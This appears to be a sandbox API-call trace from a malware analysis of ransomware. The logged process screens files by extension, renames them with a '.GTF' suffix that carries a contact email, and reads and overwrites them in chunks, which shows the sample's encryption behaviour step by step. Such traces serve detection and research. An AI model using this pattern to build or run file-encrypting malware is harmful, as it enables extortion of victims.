	[0087.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.780] lstrlenW (lpString=".doc") returned 4
	[0087.780] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString=".docx") returned 5
	[0087.780] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0087.780] lstrlenW (lpString=".pdf") returned 4
	[0087.780] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString=".xls") returned 4
	[0087.780] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0087.780] lstrlenW (lpString=".xlsx") returned 5
	[0087.780] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0087.780] lstrlenW (lpString=".ppt") returned 4
	[0087.780] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.781] lstrlenW (lpString=".zip") returned 4
	[0087.781] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0087.781] lstrlenW (lpString=".rar") returned 4
	[0087.781] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0087.781] lstrlenW (lpString=".bz2") returned 4
	[0087.781] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0087.781] lstrlenW (lpString=".7z") returned 3
	[0087.781] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.781] lstrlenW (lpString=".dbf") returned 4
	[0087.781] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.781] lstrlenW (lpString=".1cd") returned 4
	[0087.781] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0087.781] lstrlenW (lpString=".jpg") returned 4
	[0087.781] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0087.781] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0087.781] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0087.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0087.782] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=5967976) returned 1
	[0087.782] CloseHandle (hObject=0x358) returned 1
	[0087.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20
	[0087.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0087.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0087.783] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc64 | out: lpNewFilePointer=0x0) returned 1
	[0087.783] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0087.783] ReadFile (in: hFile=0x358, lpBuffer=0x3d56058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3d56058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0087.786] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0087.786] ReadFile (in: hFile=0x358, lpBuffer=0x3d96058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3d96058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0087.797] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38dfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.797] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0087.797] ReadFile (in: hFile=0x358, lpBuffer=0x3dd6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3dd6058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0087.833] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.833] WriteFile (in: hFile=0x358, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x38dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfca8*=0xc0112, lpOverlapped=0x0) returned 1
	[0088.192] SetEndOfFile (hFile=0x358) returned 1
	[0088.193] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3ea3370
	[0088.198] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0088.198] WriteFile (in: hFile=0x358, lpBuffer=0x3ea3370*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea3370*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0088.199] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0088.199] WriteFile (in: hFile=0x358, lpBuffer=0x3ea3370*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea3370*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0088.205] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0088.205] WriteFile (in: hFile=0x358, lpBuffer=0x3ea3370*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea3370*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0088.207] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0088.207] CloseHandle (hObject=0x358) returned 1
	[0088.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0088.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.207] lstrlenW (lpString=".doc") returned 4
	[0088.207] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0088.207] lstrlenW (lpString=".docx") returned 5
	[0088.207] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0088.207] lstrlenW (lpString=".pdf") returned 4
	[0088.207] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0088.207] lstrlenW (lpString=".xls") returned 4
	[0088.207] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0088.207] lstrlenW (lpString=".xlsx") returned 5
	[0088.207] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0088.207] lstrlenW (lpString=".ppt") returned 4
	[0088.208] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0088.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.208] lstrlenW (lpString=".zip") returned 4
	[0088.208] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0088.208] lstrlenW (lpString=".rar") returned 4
	[0088.208] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0088.208] lstrlenW (lpString=".bz2") returned 4
	[0088.208] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0088.208] lstrlenW (lpString=".7z") returned 3
	[0088.208] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0088.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.208] lstrlenW (lpString=".dbf") returned 4
	[0088.208] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0088.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.208] lstrlenW (lpString=".1cd") returned 4
	[0088.208] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0088.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.208] lstrlenW (lpString=".jpg") returned 4
	[0088.208] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0088.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.208] lstrlenW (lpString=".doc") returned 4
	[0088.208] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0088.208] lstrlenW (lpString=".docx") returned 5
	[0088.208] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0088.208] lstrlenW (lpString=".pdf") returned 4
	[0088.208] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0088.208] lstrlenW (lpString=".xls") returned 4
	[0088.208] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0088.208] lstrlenW (lpString=".xlsx") returned 5
	[0088.208] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0088.208] lstrlenW (lpString=".ppt") returned 4
	[0088.208] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0088.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.208] lstrlenW (lpString=".zip") returned 4
	[0088.208] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0088.208] lstrlenW (lpString=".rar") returned 4
	[0088.209] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0088.209] lstrlenW (lpString=".bz2") returned 4
	[0088.209] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0088.209] lstrlenW (lpString=".7z") returned 3
	[0088.209] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0088.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.209] lstrlenW (lpString=".dbf") returned 4
	[0088.209] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0088.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.209] lstrlenW (lpString=".1cd") returned 4
	[0088.209] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0088.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0088.209] lstrlenW (lpString=".jpg") returned 4
	[0088.209] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0088.209] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.209] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0088.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0088.210] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=10240) returned 1
	[0088.210] CloseHandle (hObject=0x358) returned 1
	[0088.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20
	[0088.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.211] lstrlenW (lpString=".doc") returned 4
	[0088.211] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.211] lstrlenW (lpString=".docx") returned 5
	[0088.211] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.211] lstrlenW (lpString=".pdf") returned 4
	[0088.211] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.211] lstrlenW (lpString=".xls") returned 4
	[0088.211] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.211] lstrlenW (lpString=".xlsx") returned 5
	[0088.211] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.211] lstrlenW (lpString=".ppt") returned 4
	[0088.211] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.211] lstrlenW (lpString=".zip") returned 4
	[0088.211] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.211] lstrlenW (lpString=".rar") returned 4
	[0088.211] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.211] lstrlenW (lpString=".bz2") returned 4
	[0088.211] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.211] lstrlenW (lpString=".7z") returned 3
	[0088.211] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.211] lstrlenW (lpString=".dbf") returned 4
	[0088.211] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.211] lstrlenW (lpString=".1cd") returned 4
	[0088.211] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.211] lstrlenW (lpString=".jpg") returned 4
	[0088.211] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.211] lstrlenW (lpString=".doc") returned 4
	[0088.211] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.211] lstrlenW (lpString=".docx") returned 5
	[0088.212] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.212] lstrlenW (lpString=".pdf") returned 4
	[0088.212] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.212] lstrlenW (lpString=".xls") returned 4
	[0088.212] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.212] lstrlenW (lpString=".xlsx") returned 5
	[0088.212] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.212] lstrlenW (lpString=".ppt") returned 4
	[0088.212] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.212] lstrlenW (lpString=".zip") returned 4
	[0088.212] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.212] lstrlenW (lpString=".rar") returned 4
	[0088.212] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.212] lstrlenW (lpString=".bz2") returned 4
	[0088.212] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.212] lstrlenW (lpString=".7z") returned 3
	[0088.212] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.212] lstrlenW (lpString=".dbf") returned 4
	[0088.212] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.212] lstrlenW (lpString=".1cd") returned 4
	[0088.212] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0088.212] lstrlenW (lpString=".jpg") returned 4
	[0088.212] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.212] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.212] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0088.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0088.213] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=10752) returned 1
	[0088.213] CloseHandle (hObject=0x358) returned 1
	[0088.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20
	[0088.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.213] lstrlenW (lpString=".doc") returned 4
	[0088.213] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.213] lstrlenW (lpString=".docx") returned 5
	[0088.213] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.213] lstrlenW (lpString=".pdf") returned 4
	[0088.213] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.213] lstrlenW (lpString=".xls") returned 4
	[0088.213] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.213] lstrlenW (lpString=".xlsx") returned 5
	[0088.213] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.213] lstrlenW (lpString=".ppt") returned 4
	[0088.213] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.213] lstrlenW (lpString=".zip") returned 4
	[0088.214] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.214] lstrlenW (lpString=".rar") returned 4
	[0088.214] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.214] lstrlenW (lpString=".bz2") returned 4
	[0088.214] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.214] lstrlenW (lpString=".7z") returned 3
	[0088.214] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.214] lstrlenW (lpString=".dbf") returned 4
	[0088.214] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.214] lstrlenW (lpString=".1cd") returned 4
	[0088.214] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.214] lstrlenW (lpString=".jpg") returned 4
	[0088.214] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.214] lstrlenW (lpString=".doc") returned 4
	[0088.214] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.214] lstrlenW (lpString=".docx") returned 5
	[0088.214] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.214] lstrlenW (lpString=".pdf") returned 4
	[0088.214] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.214] lstrlenW (lpString=".xls") returned 4
	[0088.214] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.214] lstrlenW (lpString=".xlsx") returned 5
	[0088.214] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.337] lstrlenW (lpString=".ppt") returned 4
	[0088.337] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.337] lstrlenW (lpString=".zip") returned 4
	[0088.337] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.337] lstrlenW (lpString=".rar") returned 4
	[0088.337] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.337] lstrlenW (lpString=".bz2") returned 4
	[0088.337] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.337] lstrlenW (lpString=".7z") returned 3
	[0088.337] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.337] lstrlenW (lpString=".dbf") returned 4
	[0088.337] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.337] lstrlenW (lpString=".1cd") returned 4
	[0088.337] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0088.337] lstrlenW (lpString=".jpg") returned 4
	[0088.337] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.338] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.338] lstrlenW (lpString="micaut.dll.mui") returned 14
	[0088.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.340] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=9216) returned 1
	[0088.340] CloseHandle (hObject=0x378) returned 1
	[0088.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20
	[0088.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
